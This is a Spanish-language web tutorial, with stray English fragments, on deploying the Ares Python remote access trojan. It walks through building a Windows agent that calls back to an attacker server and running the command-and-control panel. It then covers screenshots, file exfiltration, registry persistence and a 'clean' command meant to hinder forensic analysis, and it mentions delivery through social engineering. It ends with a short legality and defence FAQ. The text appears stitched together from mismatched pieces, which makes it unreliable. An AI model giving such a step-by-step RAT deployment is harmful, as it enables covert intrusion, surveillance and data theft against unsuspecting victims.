What is Ares & how does it work?

Ares: Guía de Control y Comando Remoto

21/01/2020

Valoración: 4.57 (14292 votos)

En el vasto universo de la ciberseguridad, las herramientas de acceso remoto (RAT, por sus siglas en inglés) son una pieza fundamental tanto para atacantes como para profesionales de la seguridad que buscan evaluar las defensas de un sistema. Hoy nos sumergiremos en el análisis de una de estas herramientas: Ares. Se trata de un RAT desarrollado en Python por Kevin Locati, que destaca por su simplicidad y su potente panel de control basado en una interfaz web. A través de este artículo, exploraremos qué es Ares, cómo se instala, cómo se utiliza para tomar control de un sistema objetivo y cuáles son sus funcionalidades más importantes, todo desde una perspectiva educativa y orientada a la seguridad ética.

What is Ares & how does it work?
Ares is made of two main programs: A Command & Control server, which is a Web interface to administer the agents and an agent program, which runs on the compromised host, and ensures communication with the CNC. The credit for creating this tool goes to Kevin Locat i. To begin first, we need the tool on our Attacker Machine.

Ares se compone de dos elementos principales: un servidor de Comando y Control (C&C), que es la interfaz web desde donde el operador gestiona las máquinas comprometidas, y un programa agente, que se ejecuta en el equipo objetivo y establece la comunicación con dicho servidor. Para nuestra demostración, simularemos un escenario común en pruebas de penetración: una máquina atacante con Kali Linux y una máquina objetivo con Windows 10.

Índice de Contenido

Preparando el Entorno: Instalación de Ares

El primer paso para utilizar cualquier herramienta es tenerla correctamente instalada y configurada en nuestra máquina de ataque. El proceso con Ares es bastante directo, ya que se encuentra disponible públicamente en GitHub.

1. Clonación del Repositorio

Abrimos una terminal en nuestro Kali Linux y clonamos el repositorio oficial de Ares con el siguiente comando de git. Una vez clonado, accedemos al directorio recién creado.

git clone https://github.com/sweetsoftware/Ares.git cd Ares

2. Instalación de Dependencias

Ares, al ser una herramienta de Python, depende de varias librerías para su correcto funcionamiento. Los desarrolladores nos facilitan un archivo `requirements.txt` que lista todas estas dependencias. Las instalamos usando pip, el gestor de paquetes de Python.

pip install -r requirements.txt

3. Configuración del Entorno para Compilar Agentes

Dado que nuestro objetivo es una máquina con Windows, necesitamos compilar un agente que sea compatible con ese sistema operativo. Desde un entorno Linux, esto requiere el uso de Wine, una capa de compatibilidad que permite ejecutar aplicaciones de Windows. El propio repositorio de Ares incluye un script para facilitar esta instalación.

./wine_setup.sh

Este proceso puede tardar un tiempo considerable, así que ten paciencia. Una vez finalizado, nuestro entorno estará listo para crear y desplegar el agente.

El Corazón de la Operación: Creando el Agente

Con el entorno preparado, el siguiente paso es generar el agente que se ejecutará en la máquina víctima. Este agente debe ser configurado para que sepa a qué servidor C&C debe conectarse.

Configuración del Agente

Dentro del directorio de Ares, navegamos a la carpeta `agent/`. Allí encontraremos un archivo de configuración clave: `config.py`. Debemos editarlo para establecer la dirección IP de nuestra máquina atacante.

cd agent/ nano config.py

Dentro del editor `nano`, localizamos la variable `SERVER`. Por defecto, puede tener una dirección local. Debemos cambiarla por la dirección IP de nuestra máquina Kali Linux (por ejemplo, `192.168.1.4`) y el puerto que usaremos para el servidor.

SERVER = "http://192.168.1.4:8080"

Guardamos los cambios (Ctrl+O) y salimos del editor (Ctrl+X). No es necesario modificar nada más en este archivo.

Compilación del Agente para Windows

Volvemos al directorio principal de Ares y utilizamos el script `builder.py` para compilar nuestro agente personalizado. Este script nos permite especificar la plataforma, la dirección del servidor y el nombre del archivo de salida.

./builder.py -p Windows --server http://192.168.1.4:8080 -o agente_windows.exe

Este comando generará un archivo `agente_windows.exe` en el directorio actual. Este es el archivo que debemos transferir y ejecutar en la máquina objetivo con Windows 10. Los métodos para hacerlo son variados y dependen del escenario de la prueba de penetración (ingeniería social, explotación de vulnerabilidades, etc.).

Desplegando el Centro de Mando: El Servidor C&C

Mientras preparamos la entrega del agente, debemos poner en marcha nuestro servidor de Comando y Control para que esté listo para recibir la conexión.

Navegamos al directorio `server/` dentro de la carpeta de Ares. La primera vez que ejecutamos el servidor, es crucial inicializar la base de datos donde se almacenará la información de los agentes.

cd server/ ./ares.py initdb

Este comando solo debe ejecutarse una vez. Después, para iniciar el servidor, usamos el siguiente comando, especificando que escuche en todas las interfaces de red (`0.0.0.0`) y en el puerto que configuramos previamente.

./ares.py runserver -h 0.0.0.0 -p 8080 --threaded

Si todo ha ido bien, el servidor estará en funcionamiento y esperando conexiones.

Tomando el Control: La Interfaz Web de Ares

Con el servidor corriendo, abrimos un navegador web en nuestra máquina Kali y navegamos a `http://127.0.0.1:8080`. La primera vez que accedamos, Ares nos pedirá definir una contraseña para proteger el panel de control. Una vez definida, la usamos para iniciar sesión.

El panel principal es minimalista y funcional. Inicialmente, la lista de agentes estará vacía. Sin embargo, en el momento en que el `agente_windows.exe` se ejecute en la máquina objetivo, aparecerá una nueva entrada en la sección "Agent List".

La interfaz nos mostrará información vital de cada agente conectado: un nombre asignado, su estado (vivo o muerto), el usuario con el que se está ejecutando en la máquina remota, el nombre del host, la dirección IP y el sistema operativo. Desde aquí, podemos gestionar múltiples agentes simultáneamente. Para interactuar con uno, simplemente hacemos clic en su nombre.

Arsenal de Comandos: Explotando las Capacidades de Ares

Una vez dentro de la sesión de un agente, se nos presenta una consola donde podemos ejecutar una serie de comandos predefinidos. Ares utiliza PowerShell en segundo plano para la mayoría de las operaciones en sistemas Windows, lo que le confiere una gran flexibilidad.

Recolección de Información del Sistema

Un primer paso fundamental es conocer a fondo el sistema que hemos comprometido. El comando `systeminfo` nos proporciona un volcado completo de la configuración del hardware y software del equipo objetivo.

systeminfo

Vigilancia Remota con Capturas de Pantalla

Para entender qué está haciendo el usuario en tiempo real, podemos tomar una captura de pantalla de su escritorio. El comando `screenshot` realiza la captura y nos proporciona un enlace dentro de la misma interfaz web para visualizarla.

screenshot

Exfiltración de Datos mediante Descarga de Archivos

Ares nos permite explorar el sistema de archivos y descargar ficheros de interés. Primero, podemos listar los archivos de un directorio con `dir` y, una vez localizado el que queremos, usar el comando `download`.

download archivo_secreto.txt

Gestión de Archivos: Compresión de Directorios

Si necesitamos exfiltrar un directorio completo, descargarlo archivo por archivo sería ineficiente. Ares soluciona esto con el comando `zip`, que nos permite comprimir una carpeta directamente en la máquina remota para luego descargar un único archivo .zip.

zip backup.zip Documentos

Tácticas Avanzadas: Persistencia y Limpieza

Un buen RAT no solo ofrece control, sino también la capacidad de mantener el acceso a lo largo del tiempo y de no dejar rastro.

Asegurando el Acceso: Persistencia

Para que nuestro acceso no se pierda si la máquina objetivo se reinicia, necesitamos un mecanismo de persistencia. Ares lo implementa con un simple comando que modifica el registro de Windows para que el agente se inicie automáticamente con el sistema.

persist

Borrando las Huellas: Limpieza

Una vez que hemos completado nuestros objetivos en la máquina remota, es crucial eliminar cualquier rastro de nuestra presencia. El comando `clean` está diseñado para esto: desinstala la persistencia y elimina el archivo del agente del sistema objetivo, dificultando el análisis forense.

clean

Tabla Resumen de Comandos Principales

ComandoDescripción
systeminfoObtiene información detallada del sistema objetivo.
screenshotCaptura la pantalla actual del equipo remoto y muestra un enlace para verla.
download [archivo]Descarga un archivo específico desde el objetivo a la máquina del atacante.
zip [salida.zip] [directorio]Comprime un directorio completo en el sistema remoto.
persistInstala el agente en el sistema para que se inicie automáticamente tras un reinicio.
cleanElimina el agente y cualquier rastro de persistencia del sistema objetivo.

Preguntas Frecuentes (FAQ)

¿Es legal utilizar Ares?

El uso de Ares, como cualquier herramienta de seguridad, es legal únicamente en entornos controlados y con autorización explícita. Utilizarla para acceder a sistemas sin permiso es ilegal y está penado por la ley. Este artículo tiene fines puramente educativos y para profesionales de la seguridad.

¿Puedo usar Ares contra otros sistemas operativos como macOS o Linux?

El script `builder.py` de Ares tiene opciones para compilar agentes para diferentes plataformas, incluyendo Linux y macOS. El procedimiento sería similar, adaptando la compilación y los comandos post-explotación al sistema operativo objetivo.

¿Qué conocimientos previos necesito para usar Ares?

Se recomienda tener conocimientos básicos de redes (direcciones IP, puertos), manejo de la línea de comandos en Linux y una comprensión fundamental de los conceptos de ciberseguridad, como qué es un RAT y un servidor de Comando y Control.

¿Cómo puedo protegerme de herramientas como Ares?

Para protegerse contra este tipo de amenazas, es fundamental contar con un buen software antivirus actualizado, un firewall bien configurado, mantener el sistema operativo y las aplicaciones al día con los últimos parches de seguridad y, lo más importante, ser cauteloso con los archivos que se descargan y ejecutan, especialmente los que provienen de fuentes no confiables.

Si quieres conocer otros artículos parecidos a Ares: Guía de Control y Comando Remoto puedes visitar la categoría Juegos.

Subir